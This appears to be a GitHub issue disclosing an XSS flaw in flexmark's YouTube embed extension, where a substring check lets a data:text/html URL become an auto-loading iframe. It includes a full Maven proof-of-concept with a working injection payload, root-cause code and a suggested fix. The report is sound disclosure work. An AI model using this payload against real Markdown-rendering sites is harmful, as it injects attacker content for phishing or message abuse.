Skip to content

XSS via data: iframe src injection in YouTube embedded extension #677

Description

@Str1ckl4nd

Describe the bug

flexmark-ext-youtube-embedded converts Markdown links prefixed with @ into embedded YouTube iframes. The renderer validates youtu.be URLs by parsing the host, but the www.youtube.com/watch branch only checks whether the resolved URL string contains www.youtube.com/watch.

Because of that substring check, a non-YouTube URL such as a data: URL can be converted into an auto-loading iframe as long as the string also contains www.youtube.com/watch. This allows attacker-controlled active content to be placed in the rendered HTML when an application renders untrusted Markdown with the YouTube embedded extension enabled.

Affected component:

  • flexmark-ext-youtube-embedded
  • YouTubeLinkExtension
  • HtmlRenderer

Affected version:

  • Tested against com.vladsch.flexmark:flexmark-ext-youtube-embedded:0.64.8

To Reproduce

The following is a complete Maven reproducer. It renders attacker-controlled Markdown through the normal parser and HTML renderer with YouTubeLinkExtension enabled. The program fails unless the rendered output contains an iframe whose src is attacker-controlled data:text/html.

mkdir flexmark-youtube-iframe-xss-poc
cd flexmark-youtube-iframe-xss-poc
mkdir -p src/main/java

cat > pom.xml <<'EOF'
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <groupId>poc</groupId>
  <artifactId>flexmark-youtube-iframe-xss-poc</artifactId>
  <version>1.0-SNAPSHOT</version>

  <properties>
    <maven.compiler.source>11</maven.compiler.source>
    <maven.compiler.target>11</maven.compiler.target>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
  </properties>

  <dependencies>
    <dependency>
      <groupId>com.vladsch.flexmark</groupId>
      <artifactId>flexmark</artifactId>
      <version>0.64.8</version>
    </dependency>
    <dependency>
      <groupId>com.vladsch.flexmark</groupId>
      <artifactId>flexmark-ext-youtube-embedded</artifactId>
      <version>0.64.8</version>
    </dependency>
  </dependencies>

  <build>
    <plugins>
      <plugin>
        <groupId>org.codehaus.mojo</groupId>
        <artifactId>exec-maven-plugin</artifactId>
        <version>3.3.0</version>
        <configuration>
          <mainClass>Repro</mainClass>
        </configuration>
      </plugin>
    </plugins>
  </build>
</project>
EOF

cat > src/main/java/Repro.java <<'EOF'
import com.vladsch.flexmark.ext.youtube.embedded.YouTubeLinkExtension;
import com.vladsch.flexmark.html.HtmlRenderer;
import com.vladsch.flexmark.parser.Parser;
import com.vladsch.flexmark.util.ast.Node;
import com.vladsch.flexmark.util.data.MutableDataSet;

import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Collections;

public class Repro {
    public static void main(String[] args) throws Exception {
        MutableDataSet options = new MutableDataSet();
        options.set(Parser.EXTENSIONS, Collections.singletonList(YouTubeLinkExtension.create()));

        Parser parser = Parser.builder(options).build();
        HtmlRenderer renderer = HtmlRenderer.builder(options).build();

        String markdown =
                "@[x](data:text/html,%3Cscript%3Eparent.postMessage(%22FLEXMARK_YOUTUBE_IFRAME_XSS_CONFIRMED%22,%22*%22)%3C/script%3Ewww.youtube.com/watch?v=x)";

        Node document = parser.parse(markdown);
        String rendered = renderer.render(document);

        System.out.println("Rendered HTML:");
        System.out.println(rendered);

        if (!rendered.contains("<iframe")
                || !rendered.contains("src=\"data:text/html")
                || !rendered.contains("www.youtube.com/embed/x")) {
            throw new IllegalStateException("Vulnerable iframe sink was not reproduced");
        }

        Files.createDirectories(Path.of("target"));
        String page =
                "<!doctype html>\n" +
                "<meta charset=\"utf-8\">\n" +
                "<script>\n" +
                "window.addEventListener('message', function (event) {\n" +
                "  document.body.insertAdjacentHTML('beforeend', '<pre id=\"result\">' + event.data + '</pre>');\n" +
                "});\n" +
                "</script>\n" +
                rendered + "\n";
        Files.write(Path.of("target", "flexmark-youtube-iframe-xss.html"), page.getBytes(StandardCharsets.UTF_8));

        System.out.println("FLEXMARK_YOUTUBE_IFRAME_XSS_CONFIRMED");
        System.out.println("Optional browser check: open target/flexmark-youtube-iframe-xss.html and observe the confirmation message posted by the data: iframe.");
    }
}
EOF

mvn -q compile exec:java

Resulting Output

The rendered HTML contains an iframe whose src starts with attacker-controlled data:text/html content:

<p><iframe src="data:text/html,%3Cscript%3Eparent.postMessage(%22FLEXMARK_YOUTUBE_IFRAME_XSS_CONFIRMED%22,%22*%22)%3C/script%3Ewww.youtube.com/embed/x" width="420" height="315" class="youtube-embedded" allowfullscreen="true" frameborder="0"></iframe></p>

The reproducer prints:

FLEXMARK_YOUTUBE_IFRAME_XSS_CONFIRMED

It also writes target/flexmark-youtube-iframe-xss.html. Opening that file in a browser demonstrates that the injected data: iframe executes and posts the confirmation message to the parent page.

Root cause

In YouTubeLinkNodeRenderer, the youtu.be branch validates the parsed host:

if (url != null && "youtu.be".equalsIgnoreCase(url.getHost())) {
    html.attr("src", "https://www.youtube-nocookie.com/embed" + url.getFile().replace("?t=", "?start="));
    ...
}

The www.youtube.com/watch branch does not perform the same URL validation. It only checks for a substring and then writes the original resolved URL into the iframe src after a string replacement:

} else if (resolvedLink.getUrl().contains("www.youtube.com/watch")) {
    html.attr("src", resolvedLink.getUrl().replace("watch?v=".toLowerCase(), "embed/"));
    ...
    html.srcPos(node.getChars()).withAttr(resolvedLink).tag("iframe");
    html.tag("/iframe");
}

For a payload like:

@[x](data:text/html,%3Cscript%3Eparent.postMessage(%22FLEXMARK_YOUTUBE_IFRAME_XSS_CONFIRMED%22,%22*%22)%3C/script%3Ewww.youtube.com/watch?v=x)

the URL is not a YouTube URL, but the substring check still passes and produces an iframe with a data: source.

Expected behavior

Only actual YouTube URLs should be converted into embedded iframes. A URL should not be embedded just because its string contains www.youtube.com/watch.

For example, the renderer should only embed when the parsed URL has:

  • http or https scheme
  • host exactly www.youtube.com, youtube.com, or another explicitly supported YouTube host
  • a valid /watch path and expected query structure

Otherwise, the input should render as a normal safe link or plain text.

Impact

An application that renders untrusted Markdown with YouTubeLinkExtension enabled can emit an auto-loading attacker-controlled iframe. This is stronger than a dangerous clickable link because the iframe content loads on page view.

The iframe content is not a same-origin script execution in the parent page by itself, but it is still active content injection into the rendered page and can be used for phishing, browser-side interaction, or unsafe postMessage interactions in applications that trust embedded frame messages.

Suggested fix

Apply the same kind of parsed URL validation to the www.youtube.com/watch branch that is already used for the youtu.be branch. Do not use substring matching to decide whether a URL should become an iframe. Also consider rejecting non-HTTP(S) schemes before any iframe rendering path.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions